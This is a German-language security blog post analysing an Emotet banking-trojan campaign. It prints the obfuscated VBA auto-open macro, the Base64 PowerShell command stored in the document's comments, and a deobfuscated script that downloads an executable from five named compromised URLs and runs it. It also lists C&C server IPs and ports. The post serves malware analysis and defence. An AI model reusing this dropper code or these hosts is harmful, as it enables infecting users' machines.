Deobfuscating von VBA- und PowerShell-Skripten eines Emotet-Trojaner-Downloaders

  • 01.09.2017

Wir haben eine aktuelle Welle von Phishing-Mails analysiert, die versuchen, den Emotet-Banking-Trojaner über bösartige Word-Dokumente zu verbreiten. Dieser Beitrag enthält Einzelheiten zu den Verschleierungsmethoden, die im VBA-Makro und im PowerShell-Skript in den Word-Dokumenten verwendet werden.

Inhalt

  1. Einführung
  2. Deobfuscating des VBA-Makros
  3. Deobfuscating des PowerShell-Skripts
  4. Ausführen des Emotet-Trojaners

1. Einführung

Damit eine Infektion stattfinden kann, sind vier Benutzerinteraktionen erforderlich: Öffnen der E-Mail, Klicken auf den darin enthaltenen Link, Öffnen des heruntergeladenen Word-Dokuments und dann Aktivieren der Ausführung von Makros:

Von der Phishing-Mail zur Infektion

Das Makro führt dann ein PowerShell-Skript aus, welches wiederum den Emotet-Trojaner herunterlädt und ausführt.

Die Phishing-Mails verwenden keinen falschen Absender, stattdessen fälschen sie den Anzeigenamen. Der Anzeigename ist auf eine (gültige) E-Mail-Adresse gesetzt: "MatthiasPeters@firma.de" <juan.reynolds@resory.pl>

Der E-Mail-Text gibt vor, eine wichtige Rechnung zu enthalten, die als Link bereitgestellt wird. Ein Klick auf den Link lädt eine .doc Microsoft Word-Datei herunter. Die verlinkten Domains scheinen Webseiten mit gehackter CMS-Software zu sein. Das Word-Dokument verwendet einen Standard-Phishing-Trick: Es behauptet, „geschützt“ zu sein, und fordert den Benutzer auf, Makros zu aktivieren, um den Inhalt des Dokuments sehen zu können:

2. Deobfuscating des VBA-Makros

Wir haben den VBA-Code des Makros mit oledump.py extrahiert:

Hier den gesamten Code ansehen.
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
Attribute VB_Name = "Module1"

Function BFvwAuZaVks()
  XAamgnsVVb = 5165
  Dim SrGPDtnepsZ(5165)
  GHzbxwpn = "vtSrDzbX"
  amnKkpVwV = "VWseGNg"
  SrGPDtnepsZ(2227) = awzenTtPGY
  SrGPDtnepsZ(4272) = WUkcPat
  SrGPDtnepsZ(3669) = 7075 + 6231 + 8852 + 5718 / 4558 / 9361 / 1558 - 7755 - 3944 + 3708 + 9243
  SrGPDtnepsZ(4564) = 2190 + 1532 + 1910 / 8793 - 9797 + 4889 + 4615
  SrGPDtnepsZ(3963) = 2418 + 5027 / 3108 / 7451 - 9786 - 548 - 2611 + 2156 + 5715
  SrGPDtnepsZ(4468) = sTrKDrEMD
  SrGPDtnepsZ(4882) = hxGDwUsz
  SrGPDtnepsZ(4115) = yYWXhtA
  SrGPDtnepsZ(4036) = 513
  SrGPDtnepsZ(1906) = 4149
  SrGPDtnepsZ(4353) = 4888
  SrGPDtnepsZ(4520) = 4721
  SrGPDtnepsZ(3908) = WnFmeKgcP
  SrGPDtnepsZ(79) = uDLZbSACx
  SrGPDtnepsZ(4255) = KUeDGrVbCdS
  SrGPDtnepsZ(1019) = 6267 + 4071 / 215 / 3455 / 1127 - 6146 - 6217 - 8856 + 6066 + 6423 + 3276
  SrGPDtnepsZ(845) = 9362 + 6185 / 6055 - 688 - 7820 - 794 + 1692 + 3520 + 897
  SrGPDtnepsZ(1049) = 3086 + 9498 + 5926 + 8841 / 4542 - 6575 - 5633 - 7816 + 7935 + 1215
  For XAamgnsVVb = 2759 To 3545
    SrGPDtnepsZ(XAamgnsVVb) = XAamgnsVVb
  Next
  cHyBNGb = SrGPDtnepsZ(926) + SrGPDtnepsZ(3005) + SrGPDtnepsZ(3149) + SrGPDtnepsZ(1498) + SrGPDtnepsZ(5165)
  ueCChrd = SrGPDtnepsZ(2748) + SrGPDtnepsZ(83) + SrGPDtnepsZ(4223) + SrGPDtnepsZ(3116) + SrGPDtnepsZ(159) + SrGPDtnepsZ(5165)
End Function

Function NhvPuxvN()
  TnrRkfSK = 2872
  Dim wYVwYPZF(2872)
  KPUdypH = "mNbsMXPAeu"
  wYVwYPZF(413) = DAzwxYTPDpn
  wYVwYPZF(1629) = CtULWMbR
  wYVwYPZF(959) = SXrHAePSKs
  wYVwYPZF(1423) = 9521 + 1988 / 4344 / 6200 - 9941 - 5877 - 7876 + 5040 + 6001
  wYVwYPZF(2812) = 4990 + 6672 / 6251 / 7159 - 7847 + 6786
  wYVwYPZF(1132) = 4988 + 8786 / 7729 / 2597 / 8154 - 653 - 6983 + 9292 + 6301
  wYVwYPZF(812) = vAMKygw
  wYVwYPZF(1254) = DdUfWKsECzw
  wYVwYPZF(1555) = 727
  wYVwYPZF(1707) = LXFkhuTZhX
  wYVwYPZF(1518) = vdMuzhTfgS
  wYVwYPZF(1777) = BVmcmTXF
  wYVwYPZF(1682) = XsBSUrH
  wYVwYPZF(1908) = 3573 + 8612 + 9318 + 9297 / 9023 / 8782 / 9059 - 6885 - 4062 - 3479 + 2192 + 697
  wYVwYPZF(644) = 849 + 8506 + 8665 / 3519 / 1456 / 4453 - 1186 + 632
  wYVwYPZF(713) = 6508 + 6703 / 3722 - 1205 - 8884 - 2100 + 4052 + 1127
  For TnrRkfSK = 102 To 160
    wYVwYPZF(TnrRkfSK) = TnrRkfSK
  Next
  cvrTLUP = wYVwYPZF(1737) + wYVwYPZF(2715) + wYVwYPZF(996) + wYVwYPZF(479) + wYVwYPZF(2484) + wYVwYPZF(292) + wYVwYPZF(1105) + wYVwYPZF(2872)
  YHNcNpTz = wYVwYPZF(701) + wYVwYPZF(749) + wYVwYPZF(2276) + wYVwYPZF(2872)
  cFzHxGk = wYVwYPZF(905) + wYVwYPZF(2182) + wYVwYPZF(2382) + wYVwYPZF(2872)
End Function

Sub autoopen()
  VKbZcLUg
End Sub

Public Function yKvCXNf(vRKbufsX)
  YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
  LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
  MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
  WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
  XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
  KADXEmH = ActiveDocument.CustomDocumentProperties(vRKbufsX)
  yKvCXNf = KADXEmH
  YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
  LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
  MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
  WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
  XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
End Function
 
Public Function VKbZcLUg()
  YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
  LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
  MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
  WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
  XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
  DEBAKSwY = yKvCXNf("ankMNxSvDuv") + yKvCXNf("fDaHszez") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + yKvCXNf("kfShLKvtYaW") + yKvCXNf("drgLHvTZD") + yKvCXNf("RzsFTKsMa")
  YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
  LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
  MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
  WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
  XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
  ZneZkvTk = yKvCXNf("PpRDVaYk") + yKvCXNf("SnVfbyV") + yKvCXNf("NBhWRnnr") + yKvCXNf("nGmERhbgD") + yKvCXNf("MHmBmVtxxeD") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + yKvCXNf("GZnvfVd")
  mNaCbmDx = ZneZkvTk + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + fPsFbYX
  CreateObject(DEBAKSwY).Run$ mNaCbmDx + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + atMRBBmV, 0
  YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
  LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
  MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
  WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
  XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
End Function

Function mRfpfKhGSD()
  mCzGYYaxRLX = 8385
  Dim MCGPUwUZMWy(8385)
  caMKKbnBu = ("rFNuCnmpUU")
  ALKNUwLcpPu = ("SLCZxtuyhF")
  MczvCeNBH = ("XLSHkERKtnR")
  MCGPUwUZMWy(7904) = UcwcACY
  MCGPUwUZMWy(2787) = rbUkPum
  MCGPUwUZMWy(684) = 7163 + 811 + 710 / 7663 / 5363 / 1108 - 3395 - 7739 + 4644 + 8393 + 9078
  MCGPUwUZMWy(1867) = KwvDMWrrG
  MCGPUwUZMWy(1721) = LzkZWpB
  MCGPUwUZMWy(7960) = 8725
  MCGPUwUZMWy(8262) = 7312
  MCGPUwUZMWy(6212) = 8270
  MCGPUwUZMWy(298) = ZUpymUKM
  MCGPUwUZMWy(3896) = 954 + 9998 / 9266 / 6580 - 736 - 883 + 2313 + 1188 + 5675
  For mCzGYYaxRLX = 7999 To 5163
    MCGPUwUZMWy(mCzGYYaxRLX) = mCzGYYaxRLX
  Next
  KAyYxEHgrP = MCGPUwUZMWy(3814) + MCGPUwUZMWy(8385)
  ZBXEkbtP = MCGPUwUZMWy(3170) + MCGPUwUZMWy(1765) + MCGPUwUZMWy(8385)
End Function


Function gHXrdcyrg()
    WavCCbxD = 8004
    Dim EhAUrkkxwMG(8004)
    naRAuCU = ("vgaYmNPnVX")
    EhAUrkkxwMG(2991) = eNECkccF
    EhAUrkkxwMG(6466) = FbcdBnKRuK
    EhAUrkkxwMG(3066) = kfEeTmdvHNy
    EhAUrkkxwMG(3977) = vLuXaKtP
    EhAUrkkxwMG(2869) = 4459 + 146 + 7490 / 9816 - 7410 - 8463 - 2553 + 451 + 8893
    EhAUrkkxwMG(5881) = mtpNLGb
    EhAUrkkxwMG(5248) = gfxcZDpkv
    EhAUrkkxwMG(2458) = SsvSpWe
    EhAUrkkxwMG(458) = AVUPYHGfC
    EhAUrkkxwMG(4552) = 198
    EhAUrkkxwMG(5266) = XvRCbwhh
    EhAUrkkxwMG(4843) = eXHbUGY
    EhAUrkkxwMG(6934) = dHZNEDyDcv
    EhAUrkkxwMG(4138) = MvYmwSeRUT
    EhAUrkkxwMG(6033) = 8623 + 2405 / 7340 / 2292 - 2848 - 4607 + 3843 + 888 + 8671
    For WavCCbxD = 830 To 4845
      EhAUrkkxwMG(WavCCbxD) = WavCCbxD
    Next
    PHZLUddDVam = EhAUrkkxwMG(7146) + EhAUrkkxwMG(7682) + EhAUrkkxwMG(122) + EhAUrkkxwMG(417) + EhAUrkkxwMG(4616) + EhAUrkkxwMG(1498) + EhAUrkkxwMG(8004)
End Function

Von den 152 Codezeilen haben nur wenige einen tatsächlichen Zweck - der Rest ist nur zur Ablenkung da. Die meisten Funktionen des Codes werden nicht einmal aufgerufen.

Ein guter Anfang ist die Suche nach der Funktion autoopen(), die ausgeführt wird, wenn das Dokument geöffnet wird:

Sub autoopen()
    VKbZcLUg
End Sub

Dies führt uns zur Funktion VKbZcLUg(). Sie enthält jede Menge nutzlosen Code wie:

YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg

Dies sind sinnlose Vergleichsoperationen. Eine Variable x wird auf wahr oder falsch gesetzt, je nachdem, ob a + b gleich c ist oder nicht:

x = a + b = c

All diese Zeilen sind irrelevant und können übersprungen werden.

Zeilen mit Funktionsaufrufen in Klammern müssen genauer betrachtet werden:

ZneZkvTk = yKvCXNf("PpRDVaYk") + yKvCXNf("SnVfbyV") + yKvCXNf("NBhWRnnr") + yKvCXNf("nGmERhbgD") + yKvCXNf("MHmBmVtxxeD") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + yKvCXNf("GZnvfVd")

Die Funktion yKvCXNf() wird immer wieder mit unterschiedlichen Argumenten aufgerufen. Diese Funktion enthält weitere Vergleichsoperationen zur Ablenkung und eine Zeile mit tatsächlich nützlichem Code:

Public Function yKvCXNf(vRKbufsX)
[...]
KADXEmH = ActiveDocument.CustomDocumentProperties(vRKbufsX)

Diese Zeile sucht und gibt benutzerdefinierte Dokumenteigenschaften zurück, die für das Word-Dokument festgelegt wurden, basierend auf dem übergebenen Parameter. Wir werfen einen Blick auf die benutzerdefinierten Dokumenteigenschaften und sehen, dass sie Zeichenkettenteile für die Zeichenfolgen "powershell" und "wscript.shell" enthalten:

Zurück zur Hauptfunktion VKbZcLUg() gibt es zwei Codezeilen, die die eigentliche Arbeit erledigen. Sie sind an den Zeichenfolgen ActiveDocument.BuiltInDocumentProperties("Comments") und CreateObject(DEBAKSwY).Run zu erkennen:

mNaCbmDx = ZneZkvTk + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + fPsFbYX
CreateObject(DEBAKSwY).Run$ mNaCbmDx + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + atMRBBmV, 0

Es findet jede Menge Zeichenkettenverkettung statt, mit undefinierten Variablen, die alle ignoriert werden können. Die eigentliche Zeichenkette stammt aus dem Kommentarfeld des Dokuments. Ein Blick darauf zeigt eine lange Base64-codierte Zeichenkette:

JAB7AFcAYABzAEMAUgBgAEkAcABUAH0AIAA9ACAALgAoACIAewAwAH0AewAyAH0AewAxAH0AIgAgAC0AZgAnAG4AZQB3AC0AbwBiACcALAAnAHQAJwAsACcAagBlAGMAJwApACAALQBDAG8AbQBPAGIAagBlAGMAdAAgACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiAC0AZgAnAFcAUwBjAHIAaQBwACcALAAnAHQALgBTAGgAZQBsACcALAAnAGwAJwApADsAJAB7AHcAYABFAEIAYwBgAGwASQBlAE4AVAB9ACAAPQAgACYAKAAiAHsAMQB9AHsAMAB9AHsAMwB9AHsAMgB9ACIALQBmACcAZQB3AC0AbwAnACwAJwBuACcALAAnAGUAYwB0ACcALAAnAGIAagAnACkAIAAoACIAewA1AH0AewAxAH0AewAzAH0AewAwAH0AewA0AH0AewAyAH0AIgAtAGYAJwBiAEMAbABpACcALAAnAFcAJwAsACcAdAAnACwAJwBlACcALAAnAGUAbgAnACwAJwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AJwApADsAJAB7AFIAYABBAGAATgBEAE8ATQB9ACAAPQAgACYAKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwBvAGIAJwAsACcAagBlAGMAdAAnACwAJwBuAGUAdwAtACcAKQAgACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcAbQAnACwAJwByAGEAbgBkAG8AJwApADsAJAB7AHUAYABSAEwAcwB9ACAAPQAgACgAIgB7ADIAMwB9AHsAMQA1AH0AewAxADkAfQB7ADEAfQB7ADEAMwB9AHsAMQA2AH0AewA4AH0AewAxADgAfQB7ADIANwB9AHsAMQAwAH0AewAyADkAfQB7ADEAMgB9AHsANQB9AHsAMgA1AH0AewAxADcAfQB7ADIAfQB7ADAAfQB7ADIAMQB9AHsAMgA4AH0AewAxADEAfQB7ADYAfQB7ADEANAB9AHsANAB9AHsAMwB9AHsAOQB9AHsANwB9AHsAMgAyAH0AewAyADAAfQB7ADIANgB9AHsAMgA0AH0AIgAgAC0AZgAgACcAdAB0AHAAOgAvAC8AYQAnACwAJwBiAG8AJwAsACcALwBsAEUAWQBKAGsALwAsAGgAJwAsACcAcgBpAHgAbQAnACwAJwAvAC8AZwBsAG8AYgBhAGwAbQBhAHQAJwAsACcAdAB1ACcALAAnAHQALwBWAFcASwBuAGcAaAAvACcALAAnAGUAdAAnACwAJwAvAGQAYQB6AGUAJwAsACcAYQByAGsAJwAsACcAbwBtAC4AaABrAC8AeQBhACcALAAnAHAAJwAsACcAaAB0AHQAcAA6AC8ALwBmAHUAbgBrAHkAcwAnACwAJwBuAG4AaQBlAGoAYQAnACwAJwAsAGgAdAB0AHAAOgAnACwAJwAvAC8AbQBpAHMAJwAsACcAbgBlAC4AYwBvAG0ALwBIAC8ALABoAHQAdABwADoALwAnACwAJwBvAHIAZwAnACwAJwAuACcALAAnAHMAJwAsACcAZwAuAGMAbwAnACwAJwByAGQAdwAnACwAJwBpAG4AJwAsACcAaAB0AHQAcAA6ACcALAAnAC8ASABYAEEAcABKAGoALwAnACwAJwBkAGkAbwAuACcALAAnAG0AJwAsACcAYwAnACwAJwBlAGIALgAnACwAJwBlAFIAWABxAC8ALAAnACkALgAoACIAewAxAH0AewAwAH0AIgAtAGYAJwB0ACcALAAnAFMAcABsAGkAJwApAC4ASQBuAHYAbwBrAGUAKAAnACwAJwApADsAJAB7AG4AYABBAE0ARQB9ACAAPQAgACQAewByAGAAQQBuAGQATwBtAH0ALgAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAGUAeAB0ACcALAAnAG4AJwApAC4ASQBuAHYAbwBrAGUAKAAxACwAIAA2ADUANQAzADYAKQA7ACQAewBwAGAAQQBUAEgAfQAgAD0AIAAkAHsAZQBuAHYAYAA6AHQAZQBgAG0AUAB9ACAAKwAgACcAXAAnACAAKwAgACQAewBuAGAAQQBNAGUAfQAgACsAIAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACcALgBlAHgAJwAsACcAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJAB7AHUAYABSAEwAfQAgAGkAbgAgACQAewB1AGAAUgBsAFMAfQApAHsAdAByAHkAewAkAHsAVwBFAEIAQwBgAEwAYABJAGUAbgBUAH0ALgAoACIAewAwAH0AewAzAH0AewAxAH0AewAyAH0AIgAtAGYAJwBEAG8AdwBuACcALAAnAEYAJwAsACcAaQBsAGUAJwAsACcAbABvAGEAZAAnACkALgBJAG4AdgBvAGsAZQAoACQAewBVAGAAUgBMAH0ALgAoACIAewAwAH0AewAxAH0AewAyAH0AIgAgAC0AZgAnAFQAbwBTACcALAAnAHQAcgBpACcALAAnAG4AZwAnACkALgBJAG4AdgBvAGsAZQAoACkALAAgACQAewBQAGAAQQB0AGgAfQApADsALgAoACIAewAwAH0AewAyAH0AewAxAH0AewAzAH0AIgAgAC0AZgAgACcAUwB0ACcALAAnAHMAJwAsACcAYQByAHQALQBQAHIAbwBjAGUAJwAsACcAcwAnACkAIAAkAHsAUABhAGAAVABoAH0AOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7ACYAKAAiAHsAMwB9AHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBlAC0AJwAsACcAaABvAHMAdAAnACwAJwByAGkAdAAnACwAJwB3ACcAKQAgACQAewBfAH0ALgAiAEUAYAB4AGMAZQBQAHQASQBgAE8ATgAiAC4AIgBtAGAAZQBzAHMAQQBgAEcARQAiADsAfQB9AA0ACgA=

Zeit, alle unsere Ergebnisse zusammenzuführen! Wir haben einen CreateObject-Aufruf, der ein Objekt vom Typ “wscript.shell” erstellt. Dann führt es den Shell-Befehl "powershell -e JAB7AFcAYABzAEMAUgBgAEk[...]CgA=" mit dem vollständigen Base64-codierten PowerShell-Skript aus. Dies nutzt die praktische PowerShell-Befehlszeilenoption -EncodedCommand oder -e, die Base64-codierte Befehle akzeptiert.

Hier ist das vollständig deobfuscated Makro:

Sub autoopen()
  f1
End Sub
 
Public Function f1()
  x1 = "wscript.shell"
  x2 = "powershell -e "
  payload = x2 + "" + ActiveDocument.BuiltInDocumentProperties("Comments")
  CreateObject(x1).Run$ payload
End Function

3. Deobfuscating des PowerShell-Skripts

Beim Decodieren der Base64-Zeichenkette, die wir aus dem Kommentarfeld des Dokuments erhalten haben, finden wir etwas leicht verschleierten PowerShell-Code:

${W`sCR`IpT} = .("{0}{2}{1}" -f'new-ob','t','jec') -ComObject ("{0}{1}{2}"-f'WScrip','t.Shel','l');
${R`A`NDOM} = &("{2}{0}{1}"-f 'ob','ject','new-') ("{1}{0}" -f'm','rando');
${u`RLs} = ("{23}{15}{19}{1}{13}{16}{8}{18}{27}{10}{29}{12}{5}{25}{17}{2}{0}{21}{28}{11}{6}{14}{4}{3}{9}{7}{22}{20}{26}{24}" 
-f 'ttp://a','bo','/lEYJk/,h','rixm','//globalmat','tu','t/VWKngh/','et','/daze','ark','om.hk/ya','p','http://funkys','nnieja',
',http:','//mis','ne.com/H/,http:/','org','.','s','g.co','rdw','in','http:','/HXApJj/','dio.','m','c','eb.','eRXq/,').
("{1}{0}"-f't','Spli').Invoke(',');
${n`AME} = ${r`AndOm}.("{1}{0}"-f 'ext','n').Invoke(1, 65536);
${p`ATH} = ${env`:te`mP} + '\' + ${n`AMe} + ("{0}{1}" -f '.ex','e');
foreach(${u`RL} in ${u`RlS}){try{${WEBC`L`IenT}.("{0}{3}{1}{2}"-f'Down','F','ile','load').Invoke(${U`RL}.
("{0}{1}{2}" -f'ToS','tri','ng').Invoke(), ${P`Ath});
.("{0}{2}{1}{3}" -f 'St','s','art-Proce','s') ${Pa`Th};break;}
catch{&("{3}{2}{0}{1}" -f'e-','host','rit','w') ${_}."E`xcePtI`ON"."m`essA`GE";}}

Der Code verwendet einige kleine String-Tricks mit dem -f Format-Operator von PowerShell. Er ordnet Fragmente einer Zeichenkette ('new-ob','t','jec') in die Reihenfolge an, die von einfachen Platzhaltern ({0}{2}{1}) vorgegeben wird. Der Rest ist nur ausgefallene Variablenbenennung wie ${WsCRIpT}.

Wenn man die Zeichenketten neu anordnet und die Variablennamen bereinigt, erhält man:

$wscript = New-Object -ComObject WScript.Shell;
$webclient = New-Object System.Net.WebClient;
$random = New-Object Random;
$urls = (
         http://missbonniejane.com/H/,
         http://daze.com.hk/yaeRXq/,
         http://funkystudio.org/lEYJk/,
         http://ardweb.pt/VWKngh/,
         http://globalmatrixmarketing.com/HXApJj/
        ).Split(',');

$name = $random.Next(1,65536);

$path = $env:temp + '\' + $name + ".exe";

foreach($url in $urls){
  try{
    $webclient.DownloadFile($url.ToString, {path});
    Start-Process ${path};
    break;
  }
  catch{ write-host $_.Exception.Message; }
}

Wie wir sehen können, lädt der Code den Trojaner von fünf verschiedenen URLs herunter, speichert ihn im temporären Verzeichnis mit einem zufällig generierten numerischen Namen und führt ihn dann aus.

4. Ausführen des Emotet-Trojaners

Wir führen den Trojaner in einer benutzerdefinierten VM ohne Netzwerkadapter und mit einem gefälschten Netzwerk aus, das von Fakenet-NG bereitgestellt wird. Beim Sniffen des Netzwerkverkehrs des Trojaners sehen wir periodische HTTP-POSTs mit verschlüsselten Daten an eine rotierende Liste von C&C-Servern:

Wir lassen den Trojaner eine Weile laufen, um die folgende vollständige Liste der Server zu erhalten:

IPPortNetzwerkStandort
173.212.227.54443AS51167 Contabo GmbHDeutschland
104.236.252.1788080AS62567 DigitalOcean, LLCClifton, NJ, USA
162.243.159.58443AS14061 DigitalOcean, LLCSan Francisco, CA, USA
45.33.55.1578080AS63949 Linode, LLCFremont, CA, USA
77.244.245.377080AS47692 Nessus GmbHWien, Österreich
192.81.212.79443AS62567 DigitalOcean, LLCNorth Bergen, NJ, USA
173.212.192.45443AS51167 Contabo GmbHDeutschland
103.16.131.208080AS133159 Mammoth Media Pty LtdAustralien

Lesen Sie über weitere interessante Themen in unserem Blog.